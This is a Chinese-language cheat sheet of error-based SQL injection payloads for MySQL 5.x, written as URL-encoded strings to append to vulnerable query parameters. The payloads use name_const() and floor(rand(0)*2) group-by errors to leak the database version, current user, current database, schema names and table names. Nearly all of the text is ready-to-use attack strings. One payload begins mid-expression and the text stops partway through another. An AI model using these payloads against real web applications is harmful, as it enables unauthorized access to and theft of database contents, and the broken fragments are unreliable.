Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
小部分版本使用name_const()时会报错.可以用给出的Method.2测试

查询版本:
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)

Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)

查询当前用户:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)

Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)

查询当前数据库:
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)

Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

依次爆库
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换

爆指定库数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+by+x)a)+and+1=1 0x6D7973716C=mysql

依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
